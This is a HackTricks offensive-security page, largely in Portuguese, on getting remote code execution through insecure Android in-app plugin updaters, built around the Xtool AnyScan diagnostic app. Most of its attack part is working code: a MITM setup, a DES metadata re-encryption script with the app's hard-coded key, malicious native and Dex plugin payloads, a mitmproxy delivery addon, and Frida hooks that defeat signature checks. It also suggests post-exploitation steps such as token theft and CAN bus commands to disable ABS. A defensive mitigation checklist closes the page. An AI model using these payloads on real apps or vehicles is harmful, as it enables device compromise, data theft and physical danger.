Mecanismos Inseguros de Atualização In-App – Remote Code Execution via Malicious Plugins

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Muitas aplicações Android implementam seus próprios canais de atualização “plugin” ou “dynamic feature” em vez de usar o Google Play Store. Quando a implementação é insegura, um atacante capaz de interceptar ou manipular o tráfego de atualização pode fornecer código nativo ou Dalvik/ART arbitrário que será carregado dentro do processo do app, levando a Remote Code Execution (RCE) completo no aparelho — e, em alguns casos, em qualquer dispositivo externo controlado pelo app (carros, IoT, dispositivos médicos …).

Esta página resume uma cadeia de vulnerabilidades real encontrada no app de diagnóstico automotivo Xtool AnyScan (v4.40.11 → 4.40.40) e generaliza a técnica para que você possa auditar outros apps Android e weaponise a má-configuração durante um red-team engagement.


0. Triagem rápida: o app tem um in‑app updater?

Dicas estáticas para procurar no JADX/apktool:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Identificando um TrustManager TLS inseguro

  1. Descompile o APK com jadx / apktool e localize a pilha de rede (OkHttp, HttpUrlConnection, Retrofit…).
  2. Procure por um TrustManager ou HostnameVerifier customizado que confia cegamente em todos os certificados:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Se presente, a aplicação aceitará qualquer certificado TLS → você pode executar um proxy MITM transparente com um self-signed cert:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Se TLS pinning estiver aplicado em vez da lógica insegura trust-all, veja:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering dos Metadados de Atualização

No caso do AnyScan, cada inicialização do app aciona um HTTPS GET para:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

O corpo da resposta é um documento XML cujos nós <FileData> contêm JSON criptografado em DES-ECB e codificado em Base64 que descreve cada plugin disponível.

Etapas típicas de busca:

  1. Localize a rotina criptográfica (por exemplo RemoteServiceProxy) e recupere:
  • algoritmo (DES / AES / RC4 …)
  • modo de operação (ECB / CBC / GCM …)
  • chave/IV hard-coded (comumente constantes DES de 56‑bit ou AES de 128‑bit)
  1. Reimplemente a função em Python para descriptografar / criptografar os metadados:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notas observadas no mundo real (2023–2025):

  • Metadados frequentemente são JSON dentro de XML ou protobuf; cifras fracas e chaves estáticas são comuns.
  • Muitos updaters aceitam HTTP simples para o download do payload mesmo que os metadados venham por HTTPS.
  • Plugins frequentemente descompactam para o armazenamento interno do app; alguns ainda usam armazenamento externo ou o legado requestLegacyExternalStorage, permitindo adulteração entre apps.

3. Criar um Plugin Malicioso

3.1 Caminho da biblioteca nativa (dlopen/System.load[Library])

  1. Escolha qualquer plugin ZIP legítimo e substitua a biblioteca nativa pelo seu payload:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Atualize os metadados JSON para que "FileName" : "PWNED.zip" e "DownloadURL" apontem para o seu servidor HTTP.
  2. Re-encriptar + codificar em Base64 o JSON modificado e copiar de volta dentro do XML interceptado.

3.2 Caminho de plugin baseado em Dex (DexClassLoader)

Alguns apps fazem download de um JAR/APK e carregam código via DexClassLoader. Construa um DEX malicioso que seja acionado ao carregar:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Se o alvo chamar Class.forName("pwn.Dropper"), seu inicializador estático será executado; caso contrário, enumere refletivamente as classes carregadas com Frida e chame um método exportado.


4. Entregar o Payload com mitmproxy

addon.py exemplo que troca silenciosamente os metadados originais:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Execute um servidor web simples para hospedar o ZIP/JAR malicioso:

bash
python3 -m http.server 8000 --directory ./payloads

Quando a vítima iniciar o app, ele irá:

  • buscar nosso XML forjado através do canal MITM;
  • descriptografar e analisar com a crypto hard-coded;
  • baixar PWNED.zip ou plugin.jar → descompactar no armazenamento privado;
  • carregar o .so incluído ou DEX, executando instantaneamente nosso código com as permissões do app (câmera, GPS, Bluetooth, sistema de arquivos, …).

Como o plugin é cacheado no disco, o backdoor persiste entre reinicializações e é executado sempre que o usuário seleciona a funcionalidade relacionada.


4.1 Contornando verificações de assinatura/hash (quando presentes)

Se o updater valida assinaturas ou hashes, aplique um hook na verificação para sempre aceitar o conteúdo do atacante:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Also consider stubbing vendor methods such as PluginVerifier.verifySignature(), checkHash(), or short‑circuiting update gating logic in Java or JNI.


5. Outras superfícies de ataque em atualizadores (2023–2025)

  • Zip Slip path traversal while extracting plugins: malicious entries like ../../../../data/data/<pkg>/files/target overwrite arbitrary files. Sempre saneie os caminhos das entradas e use listas de permissão.
  • External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
  • Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
  • React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.

6. Post-Exploitation Ideas

  • Steal session cookies, OAuth tokens, or JWTs stored by the app.
  • Drop a second-stage APK and silently install it via pm install if possible (some apps already declare REQUEST_INSTALL_PACKAGES).
  • Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.).

Detection & Mitigation Checklist (blue team)

  • Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK.
  • Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
  • Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
  • Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients.
  • Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files.
  • Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering.
  • Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or .. segments.
  • Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks